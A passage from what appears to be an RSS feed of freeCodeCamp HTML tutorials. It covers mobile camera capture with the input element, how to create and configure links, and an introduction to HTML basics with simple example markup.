<p>Let's put our knowledge into practice by creating a simple web page that utilizes the <code>&lt;input&gt;</code> element to capture a user's camera on mobile.</p>
<pre><code class="lang-html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"en"</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1.0"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Camera Capture<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
   <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"selfie"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"capture-button"</span>&gt;</span>Take a Selfie<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"file"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"selfie"</span> <span class="hljs-attr">capture</span>=<span class="hljs-string">"user"</span> <span class="hljs-attr">accept</span>=<span class="hljs-string">"image/*,video/*"</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"photo"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"capture-button"</span>&gt;</span>Take a Photo<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"file"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"photo"</span> <span class="hljs-attr">capture</span>=<span class="hljs-string">"environment"</span> <span class="hljs-attr">accept</span>=<span class="hljs-string">"image/*,video/*"</span>&gt;</span>   

<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p>Result:</p>

<p></p>
<p>
    Take a Selfie
    </p>
<p>    Take a Photo
    

</p>
<p>In this example, the <code>&lt;input&gt;</code> element is configured to accept both image and video files while utilizing the <code>capture</code> attribute to capture from facing camera and back facing camera.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Capturing a user's camera on mobile devices is a powerful feature that enhances the functionality and interactivity of web applications. </p>
<p>By taking advantage of the <code>&lt;input&gt;</code> element with the <code>type</code> and <code>capture</code> attributes, developers can seamlessly integrate camera functionality into their projects, offering users a rich and immersive experience.</p>
<p>In this guide, we explored the intricacies of utilizing the <code>&lt;input&gt;</code> element to capture a user's camera on mobile. From understanding the purpose of each attribute to practical implementation examples, you now have the knowledge and tools to incorporate camera functionality into your web applications effectively.</p>
<p>While the <code>capture</code> attribute combined with the <code>&lt;input&gt;</code> element can facilitate image capture from the camera on mobile devices, capturing videos directly through this method is not universally supported. You can consider alternative approaches and employ progressive enhancement strategies to provide a consistent and optimal video capture experience across different platforms and devices.</p>
<p>So go ahead, experiment with the <code>&lt;input&gt;</code> element, and realize the complete capability of mobile camera capture in your web projects.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Create Links in HTML – Tutorial with Examples ]]>
                </title>
                <description>
                    <![CDATA[ Links are an essential part of the web because they connect web pages, documents, and resources across the internet.  In HTML (which is short for Hypertext Markup Language), links play a crucial role in creating a web of interconnected content, allow... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/html-links-explained-with-examples/</link>
                <guid isPermaLink="false">66c4c3f6d788a9c53d88d2c4</guid>
                
                    <category>
                        <![CDATA[ HTML ]]>
                    </category>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Joan Ayebola ]]>
                </dc:creator>
                <pubDate>Mon, 02 Oct 2023 07:59:34 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/09/White-Soft-Brown-Professional-Elegant-Marketing-Strategy-Presentation-169.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Links are an essential part of the web because they connect web pages, documents, and resources across the internet. </p>
<p>In HTML (which is short for Hypertext Markup Language), links play a crucial role in creating a web of interconnected content, allowing users to navigate seamlessly between different web pages and websites. </p>
<p>In this article, we will explore the fundamentals of links in HTML, including their types, attributes, and best practices.</p>
<h2 id="heading-what-are-links-in-html">What Are Links in HTML?</h2>
<p>In HTML, a link, also known as a hyperlink, is an element that lets users navigate from one web page to another. They also allow users to navigate to external resources such as documents, images, videos, and more.</p>
<p>HTML offers several types of links, each serving a specific purpose. Let's see some of them in action in the following sections.</p>
<h3 id="heading-how-to-create-text-links">How to create text links</h3>
<p>Text links are the most common type of links. They are created by wrapping text with an anchor (<code>&lt;a&gt;</code>) element. When users click on the linked text, they are directed to the URL specified in the link's <code>href</code> attribute:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"https://www.example.com"</span>&gt;</span>Visit Example.com<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
</code></pre>
<p>Text links are versatile and can be used for various purposes, such as linking to other web pages, external websites, or even specific sections within a page using anchor tags.</p>
<h3 id="heading-how-to-create-image-links">How to create image links</h3>
<p>You can turn images into clickable links by wrapping them in an anchor element. This is useful for creating an image-based navigation or linking to larger versions of images:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"https://www.example.com"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"image.jpg"</span> <span class="hljs-attr">alt</span>=<span class="hljs-string">"Example Image"</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
</code></pre>
<p>Image links are visually engaging and are often used for elements like logos, banners, or thumbnail images that, when clicked, lead users to a related web page or resource.</p>
<h3 id="heading-how-to-create-email-links">How to create email links</h3>
<p>To create links that open an email client with a pre-filled recipient address, use the <code>mailto</code> scheme:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"mailto:contact@example.com"</span>&gt;</span>Send an Email<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
</code></pre>
<p>Email links are convenient for enabling users to initiate email communication with a simple click. They are commonly used for contact information on websites.</p>
<h3 id="heading-how-to-create-external-links">How to create external links</h3>
<p>External links point to resources on other websites. It's essential to indicate that a link is external by using the <code>target="_blank"</code> attribute to open the linked page in a new browser tab or window. This ensures that your website remains open in the user's current tab while the linked content appears in a separate tab or window:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"https://www.external-site.com"</span> <span class="hljs-attr">target</span>=<span class="hljs-string">"_blank"</span>&gt;</span>Visit External Site<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
</code></pre>
<p>External links are a way to provide additional resources, references, or sources to your content while allowing users to return to your site easily.</p>
<h3 id="heading-how-to-create-internal-links">How to create internal links</h3>
<p>Internal links are used to navigate within the same website. They typically reference other pages within the site using relative URLs:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"/about"</span>&gt;</span>Learn More About Us<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
</code></pre>
<p>Internal links are essential for site navigation, helping users find related content or move between different sections of your website.</p>
<h2 id="heading-link-attributes-explained">Link Attributes Explained</h2>
<p>To create functional and user-friendly links, it's crucial to understand the key attributes that can be used with anchor (<code>&lt;a&gt;</code>) elements.</p>
<h3 id="heading-how-to-use-the-href-attribute">How to use the <code>href</code> attribute</h3>
<p>The <code>href</code> attribute specifies the destination URL or resource that the link points to. It can be an absolute URL (starting with "http://" or "https://") or a relative URL (relative to the current page).</p>
<p>Here is how you create absolute URLs:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"https://www.example.com"</span>&gt;</span>Visit Example.com<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
</code></pre>
<p>And here is how you create relative URLs:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"/about"</span>&gt;</span>Learn More About Us<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
</code></pre>
<p>Using relative URLs is often preferred when linking within the same website because it makes your links more adaptable to changes in the domain structure.</p>
<h3 id="heading-how-to-use-the-target-attribute">How to use the <code>target</code> attribute</h3>
<p>The <code>target</code> attribute defines how the linked resource should be displayed when clicked. Common values include:</p>
<ul>
<li><code>_self</code> (default): Opens the link in the same browser tab or window.</li>
<li><code>_blank</code>: Opens the link in a new browser tab or window.</li>
<li><code>_parent</code>: Opens the link in the parent frame or window.</li>
<li><code>_top</code>: Opens the link in the full body of the window, replacing any frames.</li>
</ul>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"https://www.external-site.com"</span> <span class="hljs-attr">target</span>=<span class="hljs-string">"_blank"</span>&gt;</span>Visit External Site<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
</code></pre>
<p>The use of the <code>_blank</code> target is common for external links to prevent users from navigating away from your site entirely.</p>
<h3 id="heading-how-to-use-the-rel-attribute">How to use the <code>rel</code> attribute</h3>
<p>The <code>rel</code> attribute specifies the relationship between the current document and the linked resource. For example, <code>rel="noopener"</code> is often used for security reasons when opening links in a new tab:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"https://www.example.com"</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"noopener"</span>&gt;</span>Visit Example.com<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
</code></pre>
<p>The <code>noopener</code> value helps protect against potential security vulnerabilities associated with opening new tabs or windows.</p>
<h2 id="heading-html-link-best-practices">HTML Link Best Practices</h2>
<p>To ensure an excellent user experience and maintain web accessibility and SEO (Search Engine Optimization) standards, you can follow certain best practices when working with links in HTML.</p>
<h3 id="heading-use-descriptive-text">Use descriptive text</h3>
<p>The text used for link anchors should be descriptive and convey the purpose of the link to users. Avoid generic phrases like "click here."</p>
<p>Not Recommended: <code>&lt;a href="https://www.example.com"&gt;Click here&lt;/a&gt;</code></p>
<p>Recommended: <code>&lt;a href="https://www.example.com"&gt;Visit Example.com&lt;/a&gt;</code></p>
<p>Descriptive link text improves the user experience and helps users understand where the link will take them.</p>
<h3 id="heading-provide-context">Provide context</h3>
<p>When linking to external resources, consider adding a brief description or title attribute to inform users about the linked content:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"https://www.example.com"</span> <span class="hljs-attr">title</span>=<span class="hljs-string">"Visit Example.com"</span>&gt;</span>Example.com<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
</code></pre>
<p>Providing context enhances usability and accessibility, especially for users with disabilities who rely on assistive technologies.</p>
<h3 id="heading-test-links">Test links</h3>
<p>Regularly test all links on your website to ensure they are working correctly. Broken links can frustrate users and harm your website's reputation.</p>
<p>Consider using automated link-checking tools to scan your site for broken links and address them promptly.</p>
<h3 id="heading-optimize-for-accessibility">Optimize for accessibility</h3>
<p>Use semantic HTML and provide alt text for images within links to make your content accessible to users with disabilities.</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"/about"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"about-image.jpg"</span> <span class="hljs-attr">alt</span>=<span class="hljs-string">"About Us"</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
</code></pre>
<p>Accessible links ensure that all users, regardless of their abilities, can navigate and interact with your content.</p>
<h3 id="heading-consider-seo">Consider SEO</h3>
<p>When linking to internal pages, use meaningful anchor text that includes relevant keywords. This can improve your website's search engine ranking.</p>
<p>Not recommended: <code>&lt;a href="/product123"&gt;Click here for more info&lt;/a&gt;</code></p>
<p>Recommended: <code>&lt;a href="/product123"&gt;Learn more about Product XYZ&lt;/a&gt;</code></p>
<p>Keyword-rich anchor text helps search engines understand the content and context of your links, which can boost your site's visibility in search results.</p>
<h3 id="heading-use-relative-urls">Use relative URLs</h3>
<p>When linking within your own website, prefer relative URLs over absolute ones. This makes your website more maintainable and adaptable to changes in the domain structure.</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"/about"</span>&gt;</span>Learn More About Us<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
</code></pre>
<p>Relative URLs are less prone to breaking when you make changes to your website's structure or migrate it to a different domain.</p>
<h3 id="heading-use-external-link-indicators">Use external link indicators</h3>
<p>When linking to external websites, make it clear to users that they are leaving your site. This can help build trust and transparency.</p>
<p>Consider using an icon or text such as "External Link" next to external links to provide this indication.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>In conclusion, links are the backbone of the web, enabling seamless navigation and exploration of online content. By understanding the types of links available in HTML, their attributes, and best practices for their usage, you can create a user-friendly and accessible web experience while enhancing your website's visibility and credibility on the internet.</p>
<p>With proper link usage, you can connect your audience with valuable resources, provide a smooth user experience, and contribute to the overall success of your website.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ An Introduction to HTML for Beginners ]]>
                </title>
                <description>
                    <![CDATA[ HTML, which stands for HyperText Markup Language, serves as the foundation of web development. It enables you to create interactive web pages, structure content, and effectively communicate your message.  In this guide, we'll explore HTML comprehensi... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/introduction-to-html/</link>
                <guid isPermaLink="false">66c4c3ffbd556981b1bdc43f</guid>
                
                    <category>
                        <![CDATA[ HTML ]]>
                    </category>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Joan Ayebola ]]>
                </dc:creator>
                <pubDate>Sun, 24 Sep 2023 11:57:44 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/09/White-Playful-English-Class-Education-Presentation-43.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>HTML, which stands for HyperText Markup Language, serves as the foundation of web development. It enables you to create interactive web pages, structure content, and effectively communicate your message. </p>
<p>In this guide, we'll explore HTML comprehensively, addressing essential questions to provide a strong foundation for budding web developers.</p>
<h2 id="heading-the-crucial-role-of-html-in-web-development">The Crucial Role of HTML in Web Development</h2>
<p>HTML plays an essential role in web development as it defines the structure and content of web pages. It serves as the backbone upon which websites are built.</p>
<p>HTML accomplishes this by utilizing a system of tags and elements, each serving a unique purpose.</p>
<pre><code class="lang-html"><span class="hljs-comment">&lt;!-- Sample HTML Tag --&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>This is an HTML tag<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
</code></pre>
<h2 id="heading-how-do-i-write-html-code">How Do I Write HTML Code?</h2>
<p>Writing HTML code is a matter of understanding HTML tags. </p>
<p>Tags are enclosed within angle brackets, each comprising an opening and closing part. They function as building blocks that define the structure of your web page. </p>
<p>Think of them as the bricks and mortar of web development. Understanding their roles is essential for web development.</p>
<pre><code class="lang-html"><span class="hljs-comment">&lt;!-- Basic HTML Structure --&gt;</span>
<span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>My First Web Page<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Hello, World!<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>This is a paragraph of text.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<h2 id="heading-how-to-create-a-website-using-html">How to Create a Website Using HTML?</h2>
<p>Creating a website using HTML involves several key steps. Let's go over them in the following sections.</p>
<h3 id="heading-website-planning">Website Planning</h3>
<p>Before you start coding, take time to plan your website thoroughly. </p>
<p>Identify your target audience, outline the content and structure of your site and design a layout that aligns with your goals. </p>
<p>Keep in mind that the visual design can be enhanced with CSS (Cascading Style Sheets), a topic we'll explore later in your web development journey.</p>
<h3 id="heading-writing-html-code">Writing HTML Code</h3>
<p>Open a text editor, such as Visual Studio Code or Sublime Text, and begin writing HTML code. </p>
<p>Start with the basic structure, including <code>&lt;!DOCTYPE html&gt;</code>, <code>&lt;html&gt; &lt;/html&gt;</code>, <code>&lt;head&gt; &lt;/head&gt;</code>, and <code>&lt;body&gt; &lt;/body&gt;</code>. </p>
<p>Then, populate the body with your content.</p>
<pre><code class="lang-html"><span class="hljs-comment">&lt;!-- Sample HTML Document Structure --&gt;</span>
<span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>My First Website<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-comment">&lt;!-- Your content goes here --&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<h3 id="heading-saving-as-html">Saving as <code>.html</code></h3>
<p>Save your HTML files with a <code>.html</code> extension to indicate that they are web pages. Proper file naming is essential for organizing your project.</p>
<h3 id="heading-local-testing">Local Testing</h3>
<p>To see how your website looks and functions, open your HTML files in a web browser. This local testing phase allows you to fine-tune your design and layout.</p>
<h3 id="heading-hosting-and-publishing">Hosting and Publishing</h3>
<p>For your website to be accessible on the internet, you'll need web hosting services. Various providers offer hosting, and you'll typically obtain a domain name (for example, www.yourwebsite.com) to point to your hosted site.</p>
<h2 id="heading-how-to-start-html-code">How to Start HTML Code?</h2>
<p>Starting HTML code is straightforward. Let's go over each step in the following sections.</p>
<h3 id="heading-text-editor-selection">Text Editor Selection</h3>
<p>Choose a text editor that suits your needs. Popular options include Visual Studio Code, Sublime Text, and Atom. These editors offer features like syntax highlighting and autocompletion tailored to web development.</p>
<h3 id="heading-html5-declaration">HTML5 Declaration</h3>
<p>Initiate your HTML document with <code>&lt;!DOCTYPE html&gt;</code>. This declaration signifies the use of HTML5, the latest HTML standard.</p>
<pre><code class="lang-html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
</code></pre>
<h3 id="heading-building-the-structure">Building the Structure</h3>
<p>Inside the <code>&lt;html&gt; &lt;/html&gt;</code> tags, create your HTML structure. </p>
<p>The <code>&lt;head&gt; &lt;/head&gt;</code> section contains metadata, including the page title, and the <code>&lt;body&gt; &lt;/body&gt;</code> section houses the visible content of your web page.</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>My Web Page<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-comment">&lt;!-- Your content goes here --&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<h3 id="heading-adding-metadata">Adding Metadata</h3>
<p>Within the <code>&lt;head&gt; &lt;/head&gt;</code> section, utilize the <code>&lt;meta&gt;</code> tag to specify the character encoding, ensuring proper rendering.</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span>&gt;</span>
</code></pre>
<h2 id="heading-how-do-i-run-html-code-step-by-step">How Do I Run HTML Code Step by Step?</h2>
<p>Executing HTML code is straightforward, thanks to modern web browsers. Here's a step-by-step guide:</p>
<h3 id="heading-save-your-html-file">Save Your HTML File</h3>
<p>Ensure that your HTML file is saved with a <code>.html</code> extension. This signals to your computer that it's an HTML document.</p>
<h3 id="heading-double-click-to-open">Double-Click to Open</h3>
<p>Double-click the HTML file, and your default web browser will automatically open it. Your browser renders the HTML, displaying your web page.</p>
<h3 id="heading-alternative-browsers">Alternative Browsers</h3>
<p>If you prefer a specific web browser, you can right-click the HTML file and choose "Open with" to select your preferred browser.</p>
<h3 id="heading-inspect-and-debug">Inspect and Debug</h3>
<p>Modern web browsers come equipped with built-in developer tools that enable you to inspect and debug your HTML, CSS, and JavaScript. </p>
<p>Access these tools by right-clicking on your web page and selecting "Inspect" or by pressing <code>F12</code> or <code>Ctrl+Shift+I</code> (Windows) or <code>Cmd+Option+I</code> (Mac).</p>
<h2 id="heading-how-do-you-write-hello-in-html">How Do You Write "Hello" in HTML?</h2>
<p>Displaying "Hello" on a web page is straightforward. You can use the <code>&lt;h1&gt;</code> tag to create a top-level heading, as demonstrated earlier. </p>
<p>HTML offers multiple ways to present "Hello." For instance:</p>
<pre><code class="lang-html"><span class="hljs-comment">&lt;!-- Using an &lt;h1&gt; tag --&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Hello!<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
</code></pre>
<p>Or you can use a paragraph tag:</p>
<pre><code class="lang-html"><span class="hljs-comment">&lt;!-- Using a &lt;p&gt; tag --&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Hello!<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>Both options result in "Hello!" being displayed on your web page. The choice depends on the context and your styling preferences.</p>
<p>It's worth noting that HTML has six levels of headings, ranging from <code>&lt;h1&gt;</code> (the highest) to <code>&lt;h6&gt;</code> (the lowest). Headings are used to structure content hierarchically, with <code>&lt;h1&gt;</code> representing the main heading and <code>&lt;h6&gt;</code> representing subheadings.</p>
<h2 id="heading-how-to-create-an-html-file-with-an-example">How to Create an HTML File with an Example?</h2>
<p>Creating an HTML file is your gateway to web development. Here's an expanded step-by-step guide:</p>
<h3 id="heading-choose-a-text-editor">Choose a Text Editor</h3>
<p>Select a text editor that suits your workflow and preferences. Modern editors offer features like syntax highlighting and autocompletion, enhancing your coding experience.</p>
<h3 id="heading-structure-your-html">Structure Your HTML</h3>
<p>Begin your HTML document with <code>&lt;!DOCTYPE html&gt;</code>, followed by <code>&lt;html&gt; &lt;/html&gt;</code> tags to enclose your content. Inside the <code>&lt;head&gt; &lt;/head&gt;</code> section, set metadata, such as the page title and character encoding, using the <code>&lt;meta&gt;</code> tag.</p>
<pre><code class="lang-html"><span class="hljs-comment">&lt;!-- Sample HTML Structure --&gt;</span>
<span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>My First Website<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-comment">&lt;!-- Your content goes here --&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<h3 id="heading-add-content">Add Content</h3>
<p>Within the <code>&lt;body&gt; &lt;/body&gt;</code> section, insert your content. Experiment with various HTML tags to format your content, including headings, paragraphs, lists, links, and images.</p>
<pre><code class="lang-html"><span class="hljs-comment">&lt;!-- Sample Content --&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Welcome to My Website<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>This is a sample paragraph.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span>Item 1<span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span>Item 2<span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span>Item 3<span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span>
</code></pre>
<h3 id="heading-save-with-html-extension">Save with <code>.html</code> Extension</h3>
<p>Save your file with a <code>.html</code> extension. This naming convention ensures that your computer recognizes it as an HTML document.</p>
<h3 id="heading-preview-locally">Preview Locally</h3>
<p>Double-click the HTML file to open it in your web browser. This provides an instant preview of your webpage, allowing you to see how it appears to your audience.</p>
<h3 id="heading-introducing-css-for-styling">Introducing CSS for Styling</h3>
<p>While HTML defines the structure of your web page, CSS (Cascading Style Sheets) is used for styling. You can link an external CSS file to your HTML to control the design and layout of your webpage. For example:</p>
<pre><code class="lang-html"><span class="hljs-comment">&lt;!-- Linking an External CSS File --&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"stylesheet"</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/css"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"styles.css"</span>&gt;</span>
</code></pre>
<p>This separation of content (HTML) and presentation (CSS) is a fundamental practice in web development.</p>
<h2 id="heading-how-do-you-write-a-sentence-in-html">How Do You Write a Sentence in HTML?</h2>
<p>To create a sentence in HTML, you can employ the <code>&lt;p&gt;</code> (paragraph) tag, as mentioned earlier. However, HTML offers flexibility, allowing you to use other inline tags for shorter text snippets. Here's an example:</p>
<pre><code class="lang-html"><span class="hljs-comment">&lt;!-- Using a &lt;p&gt; tag --&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>This is a sample sentence in HTML.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>Alternatively, for shorter text, you can use the <code>&lt;span&gt;</code> tag:</p>
<pre><code class="lang-html"><span class="hljs-comment">&lt;!-- Using a &lt;span&gt; tag --&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">span</span>&gt;</span>This is a sentence.<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span>
</code></pre>
